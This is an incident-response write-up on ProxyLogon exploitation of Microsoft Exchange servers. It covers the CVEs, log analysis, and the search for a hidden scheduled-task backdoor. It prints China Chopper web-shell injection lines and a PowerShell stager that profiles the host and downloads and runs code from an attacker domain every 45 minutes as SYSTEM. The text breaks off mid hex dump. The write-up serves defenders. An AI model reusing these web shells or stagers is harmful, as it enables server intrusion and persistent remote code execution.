On the 2nd of March 2021, our security team got a notification from Microsoft that they will release out-of-band security updates for Microsoft Exchange Server. After getting more information it turns out that there are four disclosed zero-day vulnerabilities for Microsoft Exchange Server On-premises. Exchange Online users are not affected. These zero-day vulnerabilities are known as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065). In this article, we (T13nn3s, d0p4m1n3 and Erik) want to take you through a story in which our security team goes to work to prevent the exploitation of these vulnerabilities, and we want to tell you our story in how we found a post-exploitation backdoor installed on an Exchange server by a threat actor.
Hunting Down
Analyzing the zeroday vulnerabilities
To know our first move, we needed to know what is actually happening. Microsoft had released a blog article with more information around the activities worldwide. From this article, we have gathered our first information. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China. We have joined a customer update call organized by the Microsoft Security Team for additional information.
The technical details of the vulnerabilities:
| CVE | CVE-2021-26855 |
| Attack vector | Network |
| CVSS | 9.1 |
| Information | This vulnerability involves a Server-Side Request Forgery (SSRF) in Exchange that allows the attacker to send arbitrary HTTP requests to the Exchange server to authenticate themselves. According to the information from Microsoft, this vulnerability. |
| CVE | CVE-2021-26857 |
| Attack Vector Local | |
| CVSS | 7.8 |
| Information | Is an insecure de-serialization vulnerability in the Unified Messaging service. Exploiting this vulnerability gives the attacker the ability to run code as SYSTEM on the Exchange server. This vulnerability requires administrator privileges or another exploit. |
| CVE | CVE-2021-26858 |
| Attack Vector | Local |
| CVSS | 7.8 |
| Information | This is a post-authentication vulnerability that gives the attacker the ability to write arbitrary files to the Exchange Server. It’s possible for the attacker to use this vulnerability in combination with CVE-2021-26855. |
| CVE | CVE-2021-27065 |
| Attack Vector | Local |
| CVSS | 7.8 |
| Information | This is a post-authentication arbitrary file write vulnerability in Exchange. The attacker could write files on any path of the Exchange server. It’s possible for the attacker to use this vulnerability in combination with CVE-2021-26855. |
After the news was announced by Microsoft, it was also revealed that these zero-day vulnerabilities applied to the Microsoft Exchange Server versions listed below:
- Microsoft Exchange 2010 (only CVE-2021-26857)
- Microsoft Exchange 2013
- Microsoft Exchange 2016
- Microsoft Exchange 2019
The HAFNIUM Group
For us, this was the first time we heard about this state-sponsored threat actor, called HAFNIUM. According to Microsoft Threat Intelligence Center (MSTIC) this, highly skilled and sophisticated, threat actor operates from China. While HAFNIUM is based in China, it conducts its operations from Virtual Private Servers (VPS) in the United States. Unlike Microsoft, Volexity does not assign this Microsoft Exchange zero-day attacks to HAFNIUM or any other threat actor. Volexity tracks the activity described in this blog article under the name “Operation Exchange Marauder”. Regardless, the threat actor abusing this Exchange zero-day in the wild, and focuses primarily on the following sectors in the United States:
- Disease researches
- law firms
- Higher Education Institutions
- Defense Contractors
- Policy think tanks
- NGO’s
We observed some (automated) from different threat actors:
- The exploitation of the zero-day vulnerabilities affecting Microsoft exchange (chain
- Dump LSASS memory (user account credentials and decryption keys). This allows the threat actor to decrypt the hashed passwords which are protected by the operating system.
- The threat actor is downloading the Exchange Address Book and exporting mailboxes.
- From this point the attacker can now operate in parallel tracks:
- First track: Do an analysis of the gathered information.
- Second track: With the credentials, the threat actor tries to move laterally in the network.
Taking first action
After analyzing the information about the vulnerabilities we have created a Security Advisory for our teams with the information that they need immediately to start with the installation of the security patches on the affected Microsoft Exchange Servers. Especially CVE-2021-26855 was the most crucial vulnerability with a CVSS 9.1 score. Initial Microsoft had only released a security patch for the latest CU-version of Microsoft Exchange. The primary focus was updating the Microsoft Exchange 2013, Microsoft Exchange 2016, and Microsoft Exchange 2019 to the latest CU-version (if they weren’t already) and then installing the security patch. At this moment we thought we have everything under control. Patch the Exchange servers and we are done.
The information we initially received from Microsoft, the attacks seemed to be “limited and targeted.” But on March 6, we learned that “limited” is not the right word to use. We received signals from our teams that they have found post-exploitation traces on Exchange servers related to these vulnerabilities. In all cases the exploitation dates were from March 2, the day Microsoft announced the zero-day vulnerabilities.
Analyzing affected machines
After the information that we have infected Exchange Servers, we start with analyzing them all. From this point on, we as security engineers took the lead of the operation to check the servers for exploitation traces and make sure the Exchange servers are clean. To find Indicator of Compromises (IOCs) we’ve used the PowerShell script Test-ProxyLogon.ps1 created by the Microsoft Exchange team. We also used this blog article from Huntress, along with this Reddit threat to follow the latest news and insights around the vulnerabilities. Also, this blog article from FireEye came in handy while preparing for the next step.
After running the Test-ProxyLogon.ps1, we observed Remote Code Execution commands like the output below. This clearly indicated that the combination of exploits has been successfully worked:
1
2
3
4
5
6
7
8
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210303-1.LOG:486:2021-03-03T19:57:26.931Z,<redacted>,ECP.Request,"S:TIME=351;S:SID=ac5ecbb1-fd78-41e0-9bea-4e9ac6c41c85;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/function Page_Load(){eval(Request[""Ananas""],""unsafe"");} ''.Identity=''e38538a3-0f02-47c8-80e6-ddbcc8be17d3''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=LVJ72c503Uy-ZTx0PDclQ4UYD-QQ4NgIqnLJ_PZzbvDyp2XQ7XUaRyEW0Ub1ZCzpQDSkrkafhV8.&schema=OABVirtualDirectory;S:REFERRER=;S:EX=;S:ACTID=956c78d0-d038-49de-b031-1ab1e9e053c3;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID="
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210303-1.LOG:490:2021-03-03T19:57:30.462Z,<redacted>,ECP.Request,S:TIME=208;S:SID=ac5ecbb1-fd78-41e0-9bea-4e9ac6c41c85;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=$null.Identity=''e38538a3-0f02-47c8-80e6-ddbcc8be17d3''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=LVJ72c503Uy-ZTx0PDclQ4UYD-QQ4NgIqnLJ_PZzbvDyp2XQ7XUaRyEW0Ub1ZCzpQDSkrkafhV8.&schema=OABVirtualDirectory;S:REFERRER=;'S:EX=Microsoft.Exchange.Configuration.Tasks.ManagementObjectNotFoundException:The operation couldn''t be performed because object ''OAB (Default Web Site)'' couldn''t be found on ''<redacted>.future.local''.\r\n';S:ACTID=df4cc136-f42c-47dc-8be0-a781f4628887;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID=
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210304-1.LOG:258:2021-03-04T10:22:44.649Z,<redacted>,ECP.Request,"S:TIME=249;S:SID=c066846c-0d44-40a2-8f7c-2a871d6c8550;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/function Page_Load(){eval(Request[""gttkomomo""],""unsafe"");} ''.Identity=''28da25f8-644b-47e7-a1f8-2d9b9fda72eb''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Qwcbu5R5D0mDyaxF0owhmM_blcaJ4NgIknYs7rA-IS_Dp_mpa16pHP1s4cVqIqCFdFA9pBkED3Y.&schema=OABVirtualDirectory;S:REFERRER=;S:EX=;S:ACTID=e881b3ed-ebf8-4dd9-a36e-42113a54b6d9;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID="
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210304-1.LOG:262:2021-03-04T10:22:46.930Z,<redacted>,ECP.Request,S:TIME=13;S:SID=c066846c-0d44-40a2-8f7c-2a871d6c8550;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=$null.Identity=''28da25f8-644b-47e7-a1f8-2d9b9fda72eb''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Qwcbu5R5D0mDyaxF0owhmM_blcaJ4NgIknYs7rA-IS_Dp_mpa16pHP1s4cVqIqCFdFA9pBkED3Y.&schema=OABVirtualDirectory;S:REFERRER=;'S:EX=Microsoft.Exchange.Configuration.Tasks.ManagementObjectNotFoundException:The operation couldn''t be performed because object ''OAB (Default Web Site)'' couldn''t be found on ''<redacted>.future.local''.\r\n';S:ACTID=b96e3138-e414-4fbb-b875-7dfa7a16910e;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID=
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210305-1.LOG:250:2021-03-05T10:03:29.186Z,<redacted>,ECP.Request,"S:TIME=241;S:SID=4a07b5ab-4156-4fac-b0ac-f01ef36458f6;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[""0d77a7ae5035903594f739acdce4d2d2""])),""unsafe"");} ''.Identity=''bbdc808a-a602-4112-85eb-b9739cf8fc59''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=WvRHArMTpkGM8G9VldSsmzFX2D5Q4dgIBHouyiHkHOk7h7sxfGKr4DRRoL611en9pAGs_g-WtYM.&schema=OABVirtualDirectory;S:REFERRER=;S:EX=;S:ACTID=f8acffed-5eb4-4e67-9b2a-acb417962b5b;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID="
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210305-1.LOG:255:2021-03-05T10:03:52.857Z,<redacted>,ECP.Request,S:TIME=14;S:SID=4a07b5ab-4156-4fac-b0ac-f01ef36458f6;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=$null.Identity=''bbdc808a-a602-4112-85eb-b9739cf8fc59''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=WvRHArMTpkGM8G9VldSsmzFX2D5Q4dgIBHouyiHkHOk7h7sxfGKr4DRRoL611en9pAGs_g-WtYM.&schema=OABVirtualDirectory;S:REFERRER=;'S:EX=Microsoft.Exchange.Configuration.Tasks.ManagementObjectNotFoundException:The operation couldn''t be performed because object ''OAB (Default Web Site)'' couldn''t be found on ''<redacted>.future.local''.\r\n';S:ACTID=fe1237af-5c14-40ad-bca1-708a7689c34e;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID=
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210305-1.LOG:392:2021-03-05T15:34:35.568Z,<redacted>,ECP.Request,"S:TIME=246;S:SID=d3ed0e5c-f3ed-4326-9246-e967f0ffbd65;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/function Page_Load(){eval(Request[""Load""],""unsafe"");} ''.Identity=''2bf33e57-37a5-434e-95d3-22d380bb3c0e''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=T_DOaZswm0-scXNrzSeYB2RGvYJ-4dgItVv698enGCIAmTvnUwiI9YHtN1ZAqUphpIPWDwk2obc.&schema=OABVirtualDirectory;S:REFERRER=;S:EX=;S:ACTID=ed88062c-7c16-420e-8cf3-8826ef59a24e;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID="
C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\ECPServer20210305-1.LOG:394:2021-03-05T15:34:36.209Z,<redacted>,ECP.Request,S:TIME=275;S:SID=d3ed0e5c-f3ed-4326-9246-e967f0ffbd65;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=$null.Identity=''2bf33e57-37a5-434e-95d3-22d380bb3c0e''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=T_DOaZswm0-scXNrzSeYB2RGvYJ-4dgItVv698enGCIAmTvnUwiI9YHtN1ZAqUphpIPWDwk2obc.&schema=OABVirtualDirectory;S:REFERRER=;S:EX=;S:ACTID=020616e4-381c-49e7-b7c6-a4cfd8fa218c;S:RS=0;S:BLD=15.1.1979.3;S:TNAME=;S:TID=;S:USID=0364a5d9-d2ff-4fcc-ad5d-24cbc4aa7f9a;S:EDOID=;S:ACID=
After more searching, we found web shells like discover.aspx (MD5: d08e5e5a25b7774ac6d7aa6c55907efe) supp0rt.aspx, (MD5: 26c3b65b1bcd23166aace99b46cf51d6), shell.aspx, (MD5: 145e2f25dffb55c867ade86b0c65cf11), load.aspx (MD5: 3961582cca01eb340502f63b8c9ab96a) and more variations. Later we were finding more .aspx files with it seem randomly generated filenames. We found those files on location C:\inetpub\wwwroot\aspnet_client, but other researchers also found these in C:\inetpub\wwwroot\aspnet_client\system_web. Our observations were in line with the observations from Huntress about the web shells. The machines with those web shells were in the foothold phase of the attack. But, it seems to be “spray and pray” attacks. Because there were no signs of data exfiltration or more harm on those machines than only the web shells.
We have identified the web shells as the China Chopper web shell. This web shell is commonly used by Chinese threat actors, to remotely control web servers. The web shell is approximately 4 kilobytes in size and is first discovered in 2012. As we know from these detections, the China Chopper is still active and being used.
After cleaning those files the most work was done. We did a quick sweep around the security logs for specific EventID’s like 4688 to see if any Powershell or command prompts had been run. None of the servers indicated any malicious action, except one.
The other Exchange Server
After we had checked the most compromised Exchange Servers, we where done with the work. We only needed to do a debrief with the security team. That was until we received a notification that F-Secure DeepGuard had blocked several infections on an Exchange server of one of our customers. This Exchange Server was already patched. So, we directly jumped over to this Exchange server, and in the F-Secure logs we found a list of hits on verious actions. We’ve got a live one people!
On March the 3rd, F-Secure had blocked a Scheduled Task with the name Winnet. To get more in-depth information on the servers, we directly rolled out the Endpoint Detection and Response (EDR) software on all of the servers. Even though we didn’t found any malicious actions on the rest of the machines, we didn’t want to take any risk.
We know, the threat actor has a foothold in the network or has had a foothold, because the security patch is already installed. The threat actor is now trying to “maintain presence” through an installed backdoor. Meanwhile, we checked further and we observed that every 45 minutes F-Secure DeepGuard was blocking a PowershellStager in the memory (RAM) of the Exchange server. We were surprised because F-Secure had detected the threat and removed the initial Windows task, as we can see in the screenshot above. In the screenshot below, we can see the F-Secure’s DeepGuard notifications, the frequency of every 45 minutes is remarkable.
We first rebooted the server to make sure that the memory is clean. Since the task was removed, we need to make sure that the task is also being removed from the memory. Approximately 45 minutes after the server started up, we again received notifications from F-Secure DeepGuard that a PowershellStager was blocked in the server’s memory. Something must have been left on the server that creates the task again in the memory that’s starting a PowerShell script every 45 minutes. We now added a new task to our list: find the backdoor task in Windows and get rid of it.
We first wanted to make sure that the attacker did not already have access to the server. With netstat -ano and netstat -b we created a dump of the local TCP/IP stack to determine if the attacker already has access to the Exchange Server. We’ve also installed Wireshark on the server so that we can trace any backdoor connections to the attacker and that we may also be able to detect the path of the backdoor. In a WireShark trace, it is very easy to search for specific IP addresses or for specific content in the data streams via queries.
While analyzing the Wireshark trace, we pulled the log files (via fsdiag) from F-Secure and looked at the information surrounding the DeepGuard detection, however, we did not get more useful information other than PowerShell is blocked from executing. F-Secure DeepGuard intervened so quickly that the PowerShell script did not even get a chance to execute its command, leaving the command invisible.
This information we pulled from the F-Secure Diagnostics:
1
2
3
windows.computer_security.internal.blocked_apps.0.details: "{\"AskSample\":0,\"Detection\":\"Exploit:W32/PowerShellStager.B!DeepGuard\",\"Hash\":\"9f1e24917ef96bbb339f4e2a226acafd1009f47b\",\"Path\":\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\",\"ProcessID\":11300,\"Rarity\":2,\"Reason\":10,\"Reputation\":1,\"SessionID\":0,\"tickcount\":15792311892}"
windows.computer_security.internal.blocked_apps.0.path: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
windows.computer_security.internal.blocked_apps.0.time: "132596677826590000"
We have done further analysis of the HTTP Web logs from the C:\inetpub\Logs\LogFiles. From those logs we see the following User-Agents in conjunction with exploitation to /owa/ URLs. For us this is an indication that this needs further investigation. You can see the different variations of webshell options being checked.
1
2
3
4
5
2021-03-08 08:46:02 172.30.1.201 HEAD /owa/auth/Online.aspx &CorrelationID=;&cafeReqId=0dbbbfb4-c37f-4334-922a-1a48e6ee9dac;&encoding=; 443 - 172.30.1.254 python-requests/2.9.1 - 302 0 64 12708
2021-03-08 09:03:21 172.30.1.201 HEAD /owa/auth/OutlookEN.aspx &CorrelationID=;&cafeReqId=24179355-4c36-4133-8c68-1d942acd3166;&encoding=; 443 - 172.30.1.254 python-requests/2.9.1 - 302 0 0 62
2021-03-08 09:20:32 172.30.1.201 HEAD /owa/auth/OutlookJP.aspx &CorrelationID=;&cafeReqId=5eb5d623-eb1e-4da4-a470-2101b9333f13;&encoding=; 443 - 172.30.1.254 python-requests/2.9.1 - 302 0 0 62
2021-03-08 09:37:45 172.30.1.201 HEAD /owa/auth/OutlookRU.aspx &CorrelationID=;&cafeReqId=c3580060-e4c4-4b2c-8350-0baf55d427eb;&encoding=; 443 - 172.30.1.254 python-requests/2.9.1 - 302 0 0 62
2021-03-08 09:54:59 172.30.1.201 HEAD /owa/auth/RedirSuiteServerProxy.aspx &CorrelationID=;&cafeReqId=f321cce6-44ae-4aa4-b323-550d74bde48c;&encoding=; 443 - 10.0.3.254 python-requests/2.9.1 - 302 0 0 46
We checked the older weblogs and we also observed HTTP GET requests from the same User-Agent in conjunction with exploitation to the /ecp/ and /owa/ URLs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2021-03-03 07:41:56 172.30.1.201 GET /rpc/ &CorrelationID=<empty>;&RequestId=693841cc-860a-468b-baf5-ce9c42fcbd3a&cafeReqId=693841cc-860a-468b-baf5-ce9c42fcbd3a; 443 - 172.30.1.254 python-requests/2.18.4 - 401 1 2148074254 15
2021-03-03 11:13:13 172.30.1.201 GET /rpc/ &CorrelationID=<empty>;&RequestId=78af4183-c41c-432c-8206-26c0e6fa849f&cafeReqId=78af4183-c41c-432c-8206-26c0e6fa849f; 443 - 172.30.1.254python-requests/2.18.4 - 401 1 2148074254 15
2021-03-03 19:57:15 172.30.1.201 GET /rpc/ &CorrelationID=<empty>;&RequestId=b7d8fe52-8e61-4e14-9403-21dda31383fc&cafeReqId=b7d8fe52-8e61-4e14-9403-21dda31383fc; 443 - 172.30.1.254 python-requests/2.25.1 - 401 1 2148074254 140
2021-03-03 19:57:19 172.30.1.201 POST /ecp/y.js &CorrelationID=<empty>;&cafeReqId=b31a5781-40f2-4791-8dce-364633aa5d3c; 443 - 172.30.1.254 python-requests/2.25.1 - 200 0 0 1000
2021-03-03 19:57:22 172.30.1.201 POST /ecp/y.js &CorrelationID=<empty>;&cafeReqId=cacfb30b-9715-4671-a142-80f6d25dd268; 443 - 172.30.1.254 python-requests/2.25.1 - 241 0 0 421
2021-03-03 19:57:24 172.30.1.201 POST /ecp/y.js &CorrelationID=<empty>;&cafeReqId=b9341fae-996a-43aa-9fcc-4b3298e29904; 443 - 172.30.1.254 python-requests/2.25.1 - 200 0 0 953
2021-03-03 19:57:26 172.30.1.201 POST /ecp/y.js &CorrelationID=<empty>;&cafeReqId=956c78d0-d038-49de-b031-1ab1e9e053c3; 443 - 172.30.1.254 python-requests/2.25.1 - 200 0 0 546
2021-03-03 19:57:27 172.30.1.201 POST /ecp/y.js &CorrelationID=<empty>;&cafeReqId=97e3116e-c428-4c84-974d-9f1547a3281b; 443 - 172.30.1.254 python-requests/2.25.1 - 200 0 0 171
2021-03-03 19:57:29 172.30.1.201 POST /ecp/y.js &CorrelationID=<empty>;&cafeReqId=df4cc136-f42c-47dc-8be0-a781f4628887; 443 - 172.30.1.254 python-requests/2.25.1 - 200 0 0 421
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/document.aspx &CorrelationID=<empty>;&cafeReqId=6b8425de-f0bc-44d7-b35e-5c7d8fd1640d;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/help.aspx &CorrelationID=<empty>;&cafeReqId=6fa0a8a3-7b6a-43b8-8fae-a783c2e53dc0;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/errorEE.aspx &CorrelationID=<empty>;&cafeReqId=8255f5f2-420d-45bd-9dbb-a9a9debba4a8;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/healthcheck.aspx &CorrelationID=<empty>;&cafeReqId=7902fcaa-3ce5-42cd-8bc5-e6401252a743;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/errorEW.aspx &CorrelationID=<empty>;&cafeReqId=751caeb4-e2e1-47fa-abf0-beb12b33c9ba;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/errorEE.aspx &CorrelationID=<empty>;&cafeReqId=b2f31eae-3938-45b9-89b4-393af0ed8a4b;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 218
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/errorFF.aspx &CorrelationID=<empty>;&cafeReqId=6a9b1dfc-f6a6-443d-b633-7879066774b9;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/web.aspx &CorrelationID=<empty>;&cafeReqId=b9c60f8a-436c-46e7-856f-6fe67746b60c;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/document.aspx &CorrelationID=<empty>;&cafeReqId=d0195dc1-62a2-4c31-8554-9ec35c0d29a5;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/errorEEE.aspx &CorrelationID=<empty>;&cafeReqId=d742d39b-7315-44dd-a61f-09f928b49589;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/help.aspx &CorrelationID=<empty>;&cafeReqId=657cdbe6-fe24-4299-8e98-754945469575;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
2021-03-03 22:03:04 172.30.1.201 GET /owa/auth/web.aspx &CorrelationID=<empty>;&cafeReqId=d8b490db-3ab0-4e74-bd28-63a7acfdae5c;&encoding=; 443 - 172.30.1.254 python-requests/2.25.1 - 302 0 0 234
After analyzing the log files, we did not come up with any new insights, other than just that it is visible that the attackers made attempts Remote Code Execution and indicators of exploitation via the /owa/ and /ecp/ directories.
Another 45 minutes had passed by now and we got another notification from F-Secure that PowerShell was blocked. In the dump of the TCP/IP stack and WireShark, we saw no connections to unknown external IP addresses. So the threat actor no longer has direct access to the Exchange server. Only his backdoor was left behind on the server. Theoretically the trigger could come from an external source to the server, which could indicate that there was still a webshell left we did not found.
We have searched for more web shells on the locations below, to make sure that no more web shells where left behind:
- C:\inetpub\wwwroot\aspnet_client
- C:\inetpub\wwwroot\aspnet_client\system_web
- C:\root
- %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth
- %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth
But, we still cannot find any indicators for more web shells. We compared the hashes from the visible .aspx files in these locations with VirusTotal and with the hashes from a clean Exchange server, we couldn’t find any anomalies. We also checked the child processes from C:\Windows\System32\inetsrv\w3wp.exe and the UMWorkerProcess.exe process with Process Explorer for any indicators of compromise. But none of them seems infected with malicious code. There were also no signs of any suspicious Exchange Powershell SnapIn requests for mailbox exports.
From this point in our investigation, we were confident that the attacker had not gained further access to the Exchange server and that the F-Secure Powershell script blocker prevented this. But, we still need to find the backdoor. We did however were very certain that if the Powershell command would not be blocked, the persistence would be gathered by the attackers. Since Huntress spoke of Mimikatz and Cobalt Strike actions in the last steps of the attack.
Take a break
We first all took a break for 30 minutes separately, because we were all working from our homes, walk in the open air before resuming our investigation with fresh eyes. During our break, EDR was finally picking up signals from the server that there was something wrong. This could give us more insight, and acknowledge some of our assumptions.
The end game
When we returned to our desks we saw the alerts from the EDR software. From the detection, we could see the payload. PowerShell is being executed with a payload. Running PowerShell in this way, the command is being executed from the memory and F-Secure DeepGuard notices that PowerShell wants to download a file, and based on this information and the parameters chosen, PowerShell is blocked.
If we compare the piece of payload, which is being shared from the Huntress blog article, we can see that the command exactly matches the command line detection from EDR. You can see the malicious url in the $Text variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
try {
$name = 'Global\PSEXEC'
$exeflag = $flase
New-Object System.Threading.Mutex ($true,$name,[ref]$exeflag)
}catch{}
$dt = Get-Date -Format 'yyMMdd'
$path = "$env:temp\\ccc.log"
[string]$flag = test-path $path
$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
$key = "mac="+$mac+"&av="+$av+"&version="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME + "&PS=" + $exeflag
if($flag -eq 'False'){
New-Item $path -type file
if($permit){
try{
$Text = "IEX (New-Object Net.WebClient).downloadstring('http://cdn.chatcdn.net/p?hig" + $dt + "')"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$bcode = [Convert]::ToBase64String($Bytes)
$scexec = "/create /ru system /sc MINUTE /mo 45 /tn Winnet /tr " + '"' + "powershell -ep bypass -e $bcode" + '" /F'
From this perspective, we have the confirmation that there is a payload being executed from out the memory with PowerShell and we know the command which is being executed. We can also compare this command with the IOC which is being related to the zero-day vulnerability. If we analyze this command $scexec = "/create /ru system /sc MINUTE /mo 45 /tn Winnet /tr " + '"' + "powershell -ep bypass -e $bcode" + '" /F'. We see that this command is creating a new scheduled task to download a payload from the give malicious url, and repeat this every 45 minutes as the SYSTEM user. A break down of the payload:
| Command | Meaning |
|---|---|
| /create | Creation of the task |
| /ru | Specify the permission, in this example SYSTE |
| /sc | Specify the schedule, in this example in minutes |
| /mo | specify an interval, in this example every 45 minutes |
| /tn | Name of the task, in this example Winnet |
| /tr | Scheduled task action, in this example run a PowerShell command |
| /F | Create task and suppress warnings if the specified task already exist |
We searched in the scheduled task for this task, but we could not find a task with the name Winnet. We checked the path C:\Windows\System32\Tasks\ but the Winnet task wasn’t there either. This was also not surprising, as F-Secure had, after all, quarantined this task. With PowerShell, we output all visible tasks with the command Get-ScheduledTask | fl * we analyzed the output, but the task was also not there. We also checked the output from the command line command schtasks, but this time also no task visible.
We are ended up checking the registry on location HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\TaskCache\Tree we found a task with the name Winnet!
We were very surprised to find the scheduled task in the registry but also immediately happy and relieved to find the initial task that starts the backdoor payload. As long as the tasks is there, it is still a a big risk for the client. This entry in the registry refers to the task id: {095E329A-DB03-484A-8DC5-99702FA961C4}. If we checked that entry in the registry on location HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\TaskCache\Tasks\{095E329A-DB03-484A-8DC5-99702FA961C4} and there is “our” task we were looking for.
We have now found the actual payload! We opened the DWORD-value Actions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
"Actions"=hex:01,00,66,66,00,00,00,00,14,00,00,00,70,00,6f,00,77,00,65,00,72,\
00,73,00,68,00,65,00,6c,00,6c,00,dc,01,00,00,2d,00,65,00,70,00,20,00,62,00,\
79,00,70,00,61,00,73,00,73,00,20,00,2d,00,65,00,20,00,53,00,51,00,42,00,46,\
00,41,00,46,00,67,00,41,00,49,00,41,00,41,00,6f,00,41,00,45,00,34,00,41,00,\
5a,00,51,00,42,00,33,00,41,00,43,00,30,00,41,00,54,00,77,00,42,00,69,00,41,\
00,47,00,6f,00,41,00,5a,00,51,00,42,00,6a,00,41,00,48,00,51,00,41,00,49,00,\
41,00,42,00,4f,00,41,00,47,00,55,00,41,00,64,00,41,00,41,00,75,00,41,00,46,\
00,63,00,41,00,5a,00,51,00,42,00,69,00,41,00,45,00,4d,00,41,00,62,00,41,00,\
42,00,70,00,41,00,47,00,55,00,41,00,62,00,67,00,42,00,30,00,41,00,43,00,6b,\
00,41,00,4c,00,67,00,42,00,6b,00,41,00,47,00,38,00,41,00,64,00,77,00,42,00,\
75,00,41,00,47,00,77,00,41,00,62,00,77,00,42,00,68,00,41,00,47,00,51,00,41,\
00,63,00,77,00,42,00,30,00,41,00,48,00,49,00,41,00,61,00,51,00,42,00,75,00,\
41,00,47,00,63,00,41,00,4b,00,41,00,41,00,6e,00,41,00,47,00,67,00,41,00,64,\
00,41,00,42,00,30,00,41,00,48,00,41,00,41,00,4f,00,67,00,41,00,76,00,41,00,\
